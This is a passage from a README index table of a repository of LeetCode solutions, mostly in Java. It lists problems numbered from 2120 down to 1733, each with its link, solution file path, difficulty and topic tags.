Grid](https://leetcode.com/problems/execution-of-all-suffix-instructions-staying-in-a-grid/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2120.java) || Medium || | 2119 |[A Number After a Double Reversal](https://leetcode.com/problems/a-number-after-a-double-reversal/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2119.java) || Easy || | 2116 |[Check if a Parentheses String Can Be Valid](https://leetcode.com/problems/check-if-a-parentheses-string-can-be-valid/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2116.java) || Medium || | 2114 |[Maximum Number of Words Found in Sentences](https://leetcode.com/problems/maximum-number-of-words-found-in-sentences/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2114.java) || Easy || | 2110 |[Number of Smooth Descent Periods of a Stock](https://leetcode.com/problems/number-of-smooth-descent-periods-of-a-stock/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2110.java) || Medium || | 2109 |[Adding Spaces to a String](https://leetcode.com/problems/adding-spaces-to-a-string/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2109.java) || Medium || | 2108 |[Find First Palindromic String in the Array](https://leetcode.com/problems/find-first-palindromic-string-in-the-array/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2108.java) || Easy || | 2103 |[Rings and Rods](https://leetcode.com/problems/rings-and-rods/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2103.java) || Easy || | 2099 |[Find Subsequence of Length K With the Largest Sum](https://leetcode.com/problems/find-subsequence-of-length-k-with-the-largest-sum/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2099.java) || Easy || | 2095 |[Delete the Middle Node of a Linked List](https://leetcode.com/problems/delete-the-middle-node-of-a-linked-list/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2095.java) || Medium || | 2094 |[Finding 3-Digit Even Numbers](https://leetcode.com/problems/finding-3-digit-even-numbers/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2094.java) || Easy || | 2091 |[Removing Minimum and Maximum From Array](https://leetcode.com/problems/removing-minimum-and-maximum-from-array/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2091.java) || Medium || | 2090 |[K Radius Subarray Averages](https://leetcode.com/problems/k-radius-subarray-averages/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2090.java) || Medium || | 2089 |[Find Target Indices After Sorting Array](https://leetcode.com/problems/find-target-indices-after-sorting-array/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2089.java) || Easy || | 2086 |[Minimum Number of Buckets Required to Collect Rainwater from Houses](https://leetcode.com/problems/minimum-number-of-buckets-required-to-collect-rainwater-from-houses/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2086.java) || Medium || | 2085 |[Count Common Words With One Occurrence](https://leetcode.com/problems/count-common-words-with-one-occurrence/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2085.java) || Easy || | 2080 |[Range Frequency Queries](https://leetcode.com/problems/range-frequency-queries/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2080.java) || Medium | Array, Binary Search | | 2079 |[Watering Plants](https://leetcode.com/problems/watering-plants/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2079.java) || Medium || | 2078 |[Two Furthest Houses With Different Colors](https://leetcode.com/problems/two-furthest-houses-with-different-colors/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2078.java) || Easy || | 2076 |[Process Restricted Friend Requests](https://leetcode.com/problems/process-restricted-friend-requests/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2076.java) || Hard || | 2075 |[Decode the Slanted Ciphertext](https://leetcode.com/problems/decode-the-slanted-ciphertext/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2075.java) || Medium || | 2074 |[Reverse Nodes in Even Length Groups](https://leetcode.com/problems/reverse-nodes-in-even-length-groups/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2074.java) || Medium || | 2073 |[Time Needed to Buy Tickets](https://leetcode.com/problems/time-needed-to-buy-tickets/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2073.java) || Easy || | 2070 |[Most Beautiful Item for Each Query](https://leetcode.com/problems/most-beautiful-item-for-each-query/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2070.java) || Medium || | 2068 |[Check Whether Two Strings are Almost Equivalent](https://leetcode.com/problems/check-whether-two-strings-are-almost-equivalent/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2068.java) || Easy || | 2063 |[Vowels of All Substrings](https://leetcode.com/problems/vowels-of-all-substrings/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2063.java) || Medium || | 2062 |[Count Vowel Substrings of a String](https://leetcode.com/problems/count-vowel-substrings-of-a-string/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2062.java) || Easy || | 2058 |[Find the Minimum and Maximum Number of Nodes Between Critical Points](https://leetcode.com/problems/find-the-minimum-and-maximum-number-of-nodes-between-critical-points/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2058.java) || Medium || | 2057 |[Smallest Index With Equal Value](https://leetcode.com/problems/smallest-index-with-equal-value/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2057.java) || Easy || | 2055 |[Plates Between Candles](https://leetcode.com/problems/plates-between-candles/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2055.java) || Medium || | 2054 |[Two Best Non-Overlapping Events](https://leetcode.com/problems/two-best-non-overlapping-events/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2054.java) || Medium || | 2053 |[Kth Distinct String in an Array](https://leetcode.com/problems/kth-distinct-string-in-an-array/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2053.java) || Easy || | 2050 |[Parallel Courses III](https://leetcode.com/problems/parallel-courses-iii/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2050.java) || Hard || | 2048 |[Next Greater Numerically Balanced Number](https://leetcode.com/problems/next-greater-numerically-balanced-number/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2048.java) || Medium || | 2047 |[Number of Valid Words in a Sentence](https://leetcode.com/problems/number-of-valid-words-in-a-sentence/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2047.java) || Easy || | 2044 |[Count Number of Maximum Bitwise-OR Subsets](https://leetcode.com/problems/count-number-of-maximum-bitwise-or-subsets/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2044.java) || Medium || | 2043 |[Simple Bank System](https://leetcode.com/problems/simple-bank-system/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2043.java) || Medium || | 2042 |[Check if Numbers Are Ascending in a Sentence](https://leetcode.com/problems/check-if-numbers-are-ascending-in-a-sentence/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2042.java) || Easy || | 2039 |[The Time When the Network Becomes Idle](https://leetcode.com/problems/the-time-when-the-network-becomes-idle/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2039.java) || Medium || | 2038 |[Remove Colored Pieces if Both Neighbors are the Same Color](https://leetcode.com/problems/remove-colored-pieces-if-both-neighbors-are-the-same-color/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2038.java) || Medium || | 2037 |[Minimum Number of Moves to Seat Everyone](https://leetcode.com/problems/minimum-number-of-moves-to-seat-everyone/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2037.java) || Easy || | 2034 |[Stock Price Fluctuation](https://leetcode.com/problems/stock-price-fluctuation/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2034.java) || Medium || | 2033 |[Minimum Operations to Make a Uni-Value Grid](https://leetcode.com/problems/minimum-operations-to-make-a-uni-value-grid/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2033.java) || Medium || | 2032 |[Two Out of Three](https://leetcode.com/problems/two-out-of-three/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2032.java) || Easy || | 2028 |[Find Missing Observations](https://leetcode.com/problems/find-missing-observations/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2028.java) || Medium || | 2027 |[Minimum Moves to Convert String](https://leetcode.com/problems/minimum-moves-to-convert-string/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2027.java) || Easy || | 2024 |[Maximize the Confusion of an Exam](https://leetcode.com/problems/maximize-the-confusion-of-an-exam/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2024.java) || Medium || | 2023 |[Number of Pairs of Strings With Concatenation Equal to Target](https://leetcode.com/problems/number-of-pairs-of-strings-with-concatenation-equal-to-target/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2023.java) || Medium || | 2022 |[Convert 1D Array Into 2D Array](https://leetcode.com/problems/convert-1d-array-into-2d-array/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2022.java) || Easy || | 2018 |[Check if Word Can Be Placed In Crossword](https://leetcode.com/problems/check-if-word-can-be-placed-in-crossword/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2018.java) || Medium || | 2017 |[Grid Game](https://leetcode.com/problems/grid-game/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2017.java) || Medium | Array, Matrix, Prefix Sum | | 2016 |[Maximum Difference Between Increasing Elements](https://leetcode.com/problems/maximum-difference-between-increasing-elements/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2016.java) || Easy || | 2012 |[Sum of Beauty in the Array](https://leetcode.com/problems/sum-of-beauty-in-the-array/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2012.java) || Medium || | 2011 |[Final Value of Variable After Performing Operations](https://leetcode.com/problems/final-value-of-variable-after-performing-operations/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2011.java) || Easy || | 2007 |[Find Original Array From Doubled Array](https://leetcode.com/problems/find-original-array-from-doubled-array/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2007.java) || Medium || | 2006 |[Count Number of Pairs With Absolute Difference K](https://leetcode.com/problems/count-number-of-pairs-with-absolute-difference-k/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2006.java) || Easy || | 2001 |[Number of Pairs of Interchangeable Rectangles](https://leetcode.com/problems/number-of-pairs-of-interchangeable-rectangles/)| [Python3](../master/python3/2001.py), [Java](../master/src/main/java/com/fishercoder/solutions/_2001.java) || Medium || | 2000 |[Reverse Prefix of Word](https://leetcode.com/problems/reverse-prefix-of-word/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_2000.java) || Easy || | 1996 |[The Number of Weak Characters in the Game](https://leetcode.com/problems/the-number-of-weak-characters-in-the-game/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1996.java) || Medium || | 1995 |[Count Special Quadruplets](https://leetcode.com/problems/count-special-quadruplets/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1995.java) || Easy || | 1992 |[Find All Groups of Farmland](https://leetcode.com/problems/find-all-groups-of-farmland/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1992.java) || Medium || | 1991 |[Find the Middle Index in Array](https://leetcode.com/problems/find-the-middle-index-in-array/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1991.java) || Easy || | 1985 |[Find the Kth Largest Integer in the Array](https://leetcode.com/problems/find-the-kth-largest-integer-in-the-array/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1985.java) || Medium || | 1984 |[Minimum Difference Between Highest and Lowest of K Scores](https://leetcode.com/problems/minimum-difference-between-highest-and-lowest-of-k-scores/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1984.java) || Easy || | 1981 |[Minimize the Difference Between Target and Chosen Elements](https://leetcode.com/problems/minimize-the-difference-between-target-and-chosen-elements/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1981.java) || Medium | DP | | 1980 |[Find Unique Binary String](https://leetcode.com/problems/find-unique-binary-string/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1980.java) || Medium || | 1979 |[Find Greatest Common Divisor of Array](https://leetcode.com/problems/find-greatest-common-divisor-of-array/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1979.java) || Easy || | 1974 |[Minimum Time to Type Word Using Special Typewriter](https://leetcode.com/problems/minimum-time-to-type-word-using-special-typewriter/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1974.java) || Easy || | 1971 |[Find if Path Exists in Graph](https://leetcode.com/problems/find-if-path-exists-in-graph/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1971.java) || Easy | BFS, DFS, Graph | | 1968 |[Array With Elements Not Equal to Average of Neighbors](https://leetcode.com/problems/array-with-elements-not-equal-to-average-of-neighbors/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1968.java) || Medium || | 1967 |[Number of Strings That Appear as Substrings in Word](https://leetcode.com/problems/number-of-strings-that-appear-as-substrings-in-word/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1967.java) || Easy || | 1966 |[Binary Searchable Numbers in an Unsorted Array](https://leetcode.com/problems/binary-searchable-numbers-in-an-unsorted-array/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1966.java) || Medium | Array, Binary Search | | 1961 |[Check If String Is a Prefix of Array](https://leetcode.com/problems/check-if-string-is-a-prefix-of-array/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1961.java) || Easy || | 1957 |[Delete Characters to Make Fancy String](https://leetcode.com/problems/delete-characters-to-make-fancy-string/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1957.java) || Easy | String | | 1952 |[Three Divisors](https://leetcode.com/problems/three-divisors/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1952.java) || Easy || | 1945 |[Sum of Digits of String After Convert](https://leetcode.com/problems/sum-of-digits-of-string-after-convert/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1945.java) || Easy || | 1941 |[Check if All Characters Have Equal Number of Occurrences](https://leetcode.com/problems/check-if-all-characters-have-equal-number-of-occurrences/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1941.java) || Easy || | 1936 |[Add Minimum Number of Rungs](https://leetcode.com/problems/add-minimum-number-of-rungs/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1936.java) || Medium || | 1935 |[Maximum Number of Words You Can Type](https://leetcode.com/problems/maximum-number-of-words-you-can-type/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1935.java) || Easy | String | | 1933 |[Check if String Is Decomposable Into Value-Equal Substrings](https://leetcode.com/problems/check-if-string-is-decomposable-into-value-equal-substrings/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1933.java) || Easy | String | | 1929 |[Concatenation of Array](https://leetcode.com/problems/concatenation-of-array/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1929.java) || Easy || | 1926 |[Nearest Exit from Entrance in Maze](https://leetcode.com/problems/nearest-exit-from-entrance-in-maze/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1926.java) || Medium | DP, DFS, BFS | | 1925 |[Count Square Sum Triples](https://leetcode.com/problems/count-square-sum-triples/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1925.java) || Easy | Array, Greedy | | 1920 |[Build Array from Permutation](https://leetcode.com/problems/build-array-from-permutation/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1920.java) || Easy || | 1913 |[Maximum Product Difference Between Two Pairs](https://leetcode.com/problems/maximum-product-difference-between-two-pairs/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1913.java) || Easy | Sort | | 1910 |[Remove All Occurrences of a Substring](https://leetcode.com/problems/remove-all-occurrences-of-a-substring/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1904.java) | [:tv:](https://youtu.be/d74CJIqw268) | Medium | String | | 1909 |[Remove One Element to Make the Array Strictly Increasing](https://leetcode.com/problems/remove-one-element-to-make-the-array-strictly-increasing/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1909.java) || Easy | Array | | 1904 |[The Number of Full Rounds You Have Played](https://leetcode.com/problems/the-number-of-full-rounds-you-have-played/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1904.java) || Medium | String, Greedy | | 1903 |[Largest Odd Number in String](https://leetcode.com/problems/largest-odd-number-in-string/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1903.java) | [:tv:](https://youtu.be/IIt_ARZzclY) | Easy | Greedy | | 1897 |[Redistribute Characters to Make All Strings Equal](https://leetcode.com/problems/redistribute-characters-to-make-all-strings-equal/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1897.java) || Easy | String, Greedy | | 1893 |[Check if All the Integers in a Range Are Covered](https://leetcode.com/problems/check-if-all-the-integers-in-a-range-are-covered/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1893.java) || Easy | Array, HashTable, Prefix Sum | | 1891 |[Cutting Ribbons](https://leetcode.com/problems/cutting-ribbons/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1891.java) || Medium | Array, Binary Search | | 1886 |[Determine Whether Matrix Can Be Obtained By Rotation](https://leetcode.com/problems/determine-whether-matrix-can-be-obtained-by-rotation/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1886.java) || Easy | Array | | 1880 |[Check if Word Equals Summation of Two Words](https://leetcode.com/problems/check-if-word-equals-summation-of-two-words/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1880.java) || Easy | String | | 1877 |[Minimize Maximum Pair Sum in Array](https://leetcode.com/problems/minimize-maximum-pair-sum-in-array/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1877.java) || Medium | Greedy, Sort | | 1876 |[Substrings of Size Three with Distinct Characters](https://leetcode.com/problems/substrings-of-size-three-with-distinct-characters/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1876.java) || Easy | String | | 1874 |[Minimize Product Sum of Two Arrays](https://leetcode.com/problems/minimize-product-sum-of-two-arrays/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1874.java) || Medium | Array, Greedy, Sorting | | 1869 |[Longer Contiguous Segments of Ones than Zeros](https://leetcode.com/problems/longer-contiguous-segments-of-ones-than-zeros/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1869.java) || Easy | Array, Two Pointers | | 1863 |[Sum of All Subset XOR Totals](https://leetcode.com/problems/sum-of-all-subset-xor-totals/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1863.java) || Easy | Backtracking, Recursion | | 1862 |[Sum of Floored Pairs](https://leetcode.com/problems/sum-of-floored-pairs/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1862.java) || Hard | Math | | 1861 |[Rotating the Box](https://leetcode.com/problems/rotating-the-box/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1861.java) | [:tv:](https://youtu.be/2LRnTMOiqSI) | Medium | Array, Two Pointers | | 1860 |[Incremental Memory Leak](https://leetcode.com/problems/incremental-memory-leak/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1860.java) || Medium | Math | | 1859 |[Sorting the Sentence](https://leetcode.com/problems/sorting-the-sentence/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1859.java) || Easy | String, Sort | | 1854 |[Maximum Population Year](https://leetcode.com/problems/maximum-population-year/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1854.java) || Easy | Array | | 1848 |[Minimum Distance to the Target Element](https://leetcode.com/problems/minimum-distance-to-the-target-element/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1848.java) || Easy | Array | | 1845 |[Seat Reservation Manager](https://leetcode.com/problems/seat-reservation-manager/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1845.java) || Medium | Heap, Design | | 1844 |[Replace All Digits with Characters](https://leetcode.com/problems/replace-all-digits-with-characters/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1844.java) || Easy | String | | 1837 |[Sum of Digits in Base K](https://leetcode.com/problems/sum-of-digits-in-base-k/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1837.java) || Easy | Math, Bit Manipulation | | 1836 |[Remove Duplicates From an Unsorted Linked List](https://leetcode.com/problems/remove-duplicates-from-an-unsorted-linked-list/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1836.java) || Medium | HashTable, LinkedList | | 1833 |[Maximum Ice Cream Bars](https://leetcode.com/problems/maximum-ice-cream-bars/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1833.java) || Medium | Array, Sort | | 1832 |[Check if the Sentence Is Pangram](https://leetcode.com/problems/check-if-the-sentence-is-pangram/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1832.java) || Easy | String | | 1829 |[Maximum XOR for Each Query](https://leetcode.com/problems/maximum-xor-for-each-query/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1829.java) || Medium | Bit Manipulation | | 1828 |[Queries on Number of Points Inside a Circle](https://leetcode.com/problems/queries-on-number-of-points-inside-a-circle/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1828.java) | [:tv:](https://youtu.be/fU4oOBSsVMg) | Medium | Math | | 1827 |[Minimum Operations to Make the Array Increasing](https://leetcode.com/problems/minimum-operations-to-make-the-array-increasing/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1827.java) || Easy | Array, Greedy | | 1826 |[Faulty Sensor](https://leetcode.com/problems/faulty-sensor/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1826.java) || Easy | Array, Two Pointers | | 1823 |[Find the Winner of the Circular Game](https://leetcode.com/problems/find-the-winner-of-the-circular-game/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1823.java) || Medium | Array | | 1822 |[Sign of the Product of an Array](https://leetcode.com/problems/sign-of-the-product-of-an-array/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1822.java) || Easy | Math | | 1817 |[Finding the Users Active Minutes](https://leetcode.com/problems/finding-the-users-active-minutes/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1817.java) || Medium | HashTable | | 1816 |[Truncate Sentence](https://leetcode.com/problems/truncate-sentence/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1816.java) || Easy | String | | 1814 |[Count Nice Pairs in an Array](https://leetcode.com/problems/count-nice-pairs-in-an-array/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1814.java) || Medium | Array, HashTable | | 1813 |[Sentence Similarity III](https://leetcode.com/problems/sentence-similarity-iii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1813.java) | [:tv:](https://youtu.be/MMMd7dMv4Ak) | Medium | String | | 1812 |[Determine Color of a Chessboard Square](https://leetcode.com/problems/determine-color-of-a-chessboard-square/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1812.java) || Easy | String | | 1807 |[Evaluate the Bracket Pairs of a String](https://leetcode.com/problems/evaluate-the-bracket-pairs-of-a-string/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1807.java) || Medium | HashTable, String | | 1806 |[Minimum Number of Operations to Reinitialize a Permutation](https://leetcode.com/problems/minimum-number-of-operations-to-reinitialize-a-permutation/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1806.java) || Medium | Array, Greedy | | 1805 |[Number of Different Integers in a String](https://leetcode.com/problems/number-of-different-integers-in-a-string/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1805.java) || Medium | String | | 1804 |[Implement Trie II (Prefix Tree)](https://leetcode.com/problems/implement-trie-ii-prefix-tree/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1804.java) || Medium | Trie, Design | | 1800 |[Maximum Ascending Subarray Sum](https://leetcode.com/problems/maximum-ascending-subarray-sum/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1800.java) || Easy | Two Pointers | | 1797 |[Design Authentication Manager](https://leetcode.com/problems/design-authentication-manager/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1797.java) || Medium | HashTable, Design | | 1796 |[Second Largest Digit in a String](https://leetcode.com/problems/second-largest-digit-in-a-string/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1796.java) || Easy | String | | 1792 |[Maximum Average Pass Ratio](https://leetcode.com/problems/maximum-average-pass-ratio/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1792.java) || Medium | Heap | | 1791 |[Find Center of Star Graph](https://leetcode.com/problems/find-center-of-star-graph/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1791.java) || Medium | Graph | | 1790 |[Check if One String Swap Can Make Strings Equal](https://leetcode.com/problems/check-if-one-string-swap-can-make-strings-equal/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1790.java) || Easy | String | | 1785 |[Minimum Elements to Add to Form a Given Sum](https://leetcode.com/problems/minimum-elements-to-add-to-form-a-given-sum/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1785.java) || Medium | Greedy | | 1784 |[Check if Binary String Has at Most One Segment of Ones](https://leetcode.com/problems/check-if-binary-string-has-at-most-one-segment-of-ones/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1784.java) || Easy | Greedy | | 1781 |[Sum of Beauty of All Substrings](https://leetcode.com/problems/sum-of-beauty-of-all-substrings/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1781.java) || Medium | HashTable, String | | 1780 |[Check if Number is a Sum of Powers of Three](https://leetcode.com/problems/check-if-number-is-a-sum-of-powers-of-three/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1780.java) || Medium | Math, Backtracking, Recursion | | 1779 |[Find Nearest Point That Has the Same X or Y Coordinate](https://leetcode.com/problems/find-nearest-point-that-has-the-same-x-or-y-coordinate/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1779.java) || Easy | Array | | 1775 |[Equal Sum Arrays With Minimum Number of Operations](https://leetcode.com/problems/equal-sum-arrays-with-minimum-number-of-operations/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1775.java) || Medium | Greedy | | 1774 |[Closest Dessert Cost](https://leetcode.com/problems/closest-dessert-cost/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1774.java) || Medium | Greedy | | 1773 |[Count Items Matching a Rule](https://leetcode.com/problems/count-items-matching-a-rule/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1773.java) | [:tv:](https://youtu.be/eHk8TQIhvCk) | Easy | Array, String | | 1772 |[Sort Features by Popularity](https://leetcode.com/problems/sort-features-by-popularity/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1772.java) | [:tv:](https://youtu.be/5629LqqeLAM) | Medium | HashTable, Sort | | 1769 |[Minimum Number of Operations to Move All Balls to Each Box](https://leetcode.com/problems/minimum-number-of-operations-to-move-all-balls-to-each-box/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1769.java) || Medium | Array, Greedy | | 1768 |[Merge Strings Alternately](https://leetcode.com/problems/merge-strings-alternately/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1768.java) || Easy | String | | 1765 |[Map of Highest Peak](https://leetcode.com/problems/map-of-highest-peak/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1765.java) || Medium | BFS, Graph | | 1764 |[Form Array by Concatenating Subarrays of Another Array](https://leetcode.com/problems/form-array-by-concatenating-subarrays-of-another-array/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1764.java) || Medium | Array, Greedy | | 1763 |[Longest Nice Substring](https://leetcode.com/problems/longest-nice-substring/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1763.java) || Easy | String | | 1759 |[Count Number of Homogenous Substrings](https://leetcode.com/problems/count-number-of-homogenous-substrings/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1758.java) || Medium | String ,Greedy | | 1758 |[Minimum Changes To Make Alternating Binary String](https://leetcode.com/problems/minimum-changes-to-make-alternating-binary-string/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1758.java) || Easy | Greedy, Array | | 1756 |[Design Most Recently Used Queue](https://leetcode.com/problems/design-most-recently-used-queue/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1756.java) || Medium | Array, Design, Dequeue | | 1754 |[Largest Merge Of Two Strings](https://leetcode.com/problems/largest-merge-of-two-strings/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1753.java) || Medium | Greedy, Suffix Array | | 1753 |[Maximum Score From Removing Stones](https://leetcode.com/problems/maximum-score-from-removing-stones/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1753.java) || Medium | Math, Heap | | 1752 |[Check if Array Is Sorted and Rotated](https://leetcode.com/problems/check-if-array-is-sorted-and-rotated/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1752.java) || Easy | Array | | 1750 |[Minimum Length of String After Deleting Similar Ends](https://leetcode.com/problems/minimum-length-of-string-after-deleting-similar-ends/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1750.java) || Medium | Two Pointers | | 1749 |[Maximum Absolute Sum of Any Subarray](https://leetcode.com/problems/maximum-absolute-sum-of-any-subarray/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1749.java) || Medium | Greedy | | 1748 |[Sum of Unique Elements](https://leetcode.com/problems/sum-of-unique-elements/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1748.java) || Easy | Array, HashTable | | 1746 |[Maximum Subarray Sum After One Operation](https://leetcode.com/problems/maximum-subarray-sum-after-one-operation/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1746.java) || Medium | DP | | 1745 |[Palindrome Partitioning IV](https://leetcode.com/problems/palindrome-partitioning-iv/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1745.java) || Hard | String, DP | | 1743 |[Restore the Array From Adjacent Pairs](https://leetcode.com/problems/restore-the-array-from-adjacent-pairs/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1743.java) || Medium | Greedy | | 1742 |[Maximum Number of Balls in a Box](https://leetcode.com/problems/maximum-number-of-balls-in-a-box/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1742.java) || Easy | Array | | 1736 |[Latest Time by Replacing Hidden Digits](https://leetcode.com/problems/latest-time-by-replacing-hidden-digits/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1736.java) || Easy | String, Greedy | | 1733 |[Minimum Number of People to Teach](https://leetcode.com/problems/minimum-number-of-people-to-teach/)| 